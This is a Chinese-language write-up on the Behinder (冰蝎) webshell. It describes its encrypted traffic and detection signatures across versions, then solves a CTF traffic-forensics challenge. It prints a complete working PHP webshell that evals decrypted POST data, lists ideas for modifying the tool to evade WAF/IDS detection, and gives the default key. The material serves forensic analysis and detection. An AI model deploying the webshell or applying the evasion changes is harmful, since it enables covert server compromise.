简介
冰蝎是一个使用Java语言编写的新型Webshell客户端,区别于中国菜刀它通过动态加密其通信流量,使得传统的网络安全设备,如Web应用防火墙(WAF)和入侵检测系统(IDS),难以对其进行有效检测。这种加密方式大大增加了网络威胁狩猎的难度。冰蝎的一个显著特性是,它对用户交互过程中的数据流量进行对称加密,加密过程使用的密钥是随机生成的,这使得其通信流量很难被检测到。
冰蝎1.0
冰蝎1.0版本已基本不再使用,这里就先跳过
冰蝎2.0
通信流程
- 客户端使用GET请求申请密钥(实际也有POST的请求方式)
- 服务端随机生成密钥并且将其写入session,接着返回给客户端
- 客户端获取密钥,使用密钥加密payload,再使用POST请求发给服务端
- 服务端解密并且执行payload
流量特征
- JSP类型的webshell,POST请求体数据均为base64编码,Content-Type为application/octet-stream,响应体数据均为二进制文件
- 在最初的GET请求中存在.php?pass=格式,用于向服务端传递随机数,动态协商生成密钥
- 加密所用密钥是长度为16的随机字符串,小写字母+数字组成,密钥传递阶段,密钥存在于Response Body中
- 由于AES的密钥会被直接传递回来,所以拿到这串密钥便可解密POST body中通过AES加密的数据:
先对传递的密文进行base64解码,再使用密钥进行AES解密
其中POST返回包的数据解密后存在的固定的格式:{"status":"success","msg":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
冰蝎3.0
冰蝎3和2相比,最重要的变化就是去除动态密钥协商机制,采用预共享密钥,全程无明文交互,其密钥被写在了webshell的源码中,其密钥的生成逻辑是:md5("密钥")[0:16];用AES加密 + base64编码,使用固定的连接密钥,AES加密的密钥为webshell连接密码的MD5的前16位,默认连接密码是"rebeyond"(即密钥是md5('rebeyond')[0:16]=e45e329feb5d925b)。
流量特征
- 与2.0版本类似,同样内置了十余种比较老的User Agent,POST请求体数据均为base64编码
- 存在GET请求,同时URI只有一个key-value类型参数
冰蝎4.0
提供了传输协议自定义的功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。v4.0版本不再有连接密码的概念,自定义传输协议的算法就是连接密码。
通信流程
- 本地选择加密算法,生成服务端 Webshell,加密算法对 Payload 进行加密,然后数据通过 POST 请求发送给远程服务端
- 服务端收到 Payload 密文后,利用解密算法进行解密;
- 服务端执行解密后的 Payload,并获取执行结果;
- 服务端对 Payload 执行结果进行加密,然后返回给本地客户端;
- 客户端收到响应密文后,利用解密算法解密,得到响应内容明文。
魔改思路
加密解密算法,除了默认的AES,可以使用DES、3DES、TDEA、Blowfish、Twofish、RC2、RC4、RC5、IDEA、SKIPJACK等对称加密算法
去除base64编码特征,请求体和响应体数据随机产生不定长度的额外字节数组
有固定的请求头和响应头,请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M ,响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
流量特征
- HTTP请求头
Accept: application/json, text/javascript, /; q=0.01
Content-type: application/x-www-form-urlencoded
- Content-Length
数值相对常规的较大,可以作为弱特征去辅证
- 长连接
冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有Connection: Keep-Alive,可以作为辅助认证为冰蝎流量的流量特征,与前面Content-Length字段作结合。
- 默认密钥
在使用默认密钥进行连接时,所有响应头都相同,另外第二次请求头比较特殊,除此之外,所有的请求头都相同。
DAS-webshell_plus
接下来展开一道题目进行分析
拿到流量包 先筛选以下HTTP 关注GET和POST请求
看到以POST请求传入了一个shell文件
怀疑是有关密钥加密的 追踪一下
了解加解密原理
------WebKitFormBoundary2AdFNokm3wx5QuXV
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: text/php
<?php
@error_reporting(0);
session_start();
function geneB64RandStr(int $length): string
{
$validChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
$maxIndex = strlen($validChars) - 1;
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $validChars[random_int(0, $maxIndex)];
}
return $randomString;
}
if (isset($_POST['gene_key']) and $_POST['public_key']) {
echo geneB64RandStr(8);
$public_key = base64_decode($_POST['public_key']);
$p = bin2hex(random_bytes(8));
$key = substr(md5($p), 0, 16);
$_SESSION['k'] = $key;
if (extension_loaded('openssl')) {
openssl_public_encrypt($p, $encrypted_key, $public_key, OPENSSL_PKCS1_PADDING);
echo base64_encode($encrypted_key);
echo geneB64RandStr(8);
exit();
} else {
die("OpenSSL extension not available");
}
} else {
if(!isset($_SESSION['k'])){
$key = "e45e329feb5d925b"; // Default key: rebeyond
$_SESSION['k'] = $key;
}
}
$key = $_SESSION['k'];
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
------WebKitFormBoundary2AdFNokm3wx5QuXV--
了解到加解密原理判断这就是冰蝎3.0
解题步骤
追踪查看到公钥(先后进行url解码和base64解码得到)
-----BEGIN PUBLIC KEY-----
MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgFgmOymT9EJvC8sHTWxov0LQWSom
L5DPRiTUEnQnrDmKYGvNSNMJ3V1fR1hr9jQ6oepvQvjMyWsyTL6J3n9nbOGd5tey
/4BLTXHQyaXcSpfl3z61fBJzy91rZrXbzMY1adHH4VYyUoDQ7qkF2/RVnR8PJVzR
oJn+XaH3RabkzHitAgMBAAE=
-----END PUBLIC KEY-----
接下来就是要求出私钥然后得到密钥
根据公钥求得私钥
使用rsa算法 知道p q e即可求得私钥
使用在线网站解析公钥即可得到n和e
再使用yafu工具分解n就可以得到p和q
接下来就可以直接使用脚本即可
from Crypto.PublicKey import RSA
p =
q =
e =
n = p * q
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
key = RSA.construct((n, e, d, p, q))
with open("pri.pem", "wb") as f:
f.write(key.export_key("PEM"))
再现密钥交换,推导密钥
使用以下脚本还原出冰蝎3.0的交换过程 然后反推求出密钥
from base64 import b64decode
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
# 将下面两项替换成你实际的数据
encrypted_b64 = "xxxx"
private_key_pem = """-----BEGIN RSA PRIVATE KEY-----
xxxxx
-----END RSA PRIVATE KEY-----"""
# 解码Base64后的密文
encrypted_bytes = b64decode(encrypted_b64)
# 导入私钥
rsa_key = RSA.import_key(private_key_pem)
cipher_rsa = PKCS1_v1_5.new(rsa_key)
# 解密
sentinel = b""
decrypted_p = cipher_rsa.decrypt(encrypted_bytes, sentinel)
# 输出结果
print("[+] Recovered p (hex):", decrypted_p)
print("[+] Derived AES key (md5(p)[:16]):", __import__("hashlib").md5(decrypted_p).hexdigest()[:16])
拿到了密钥就可以去解密流量 之后就是常规操作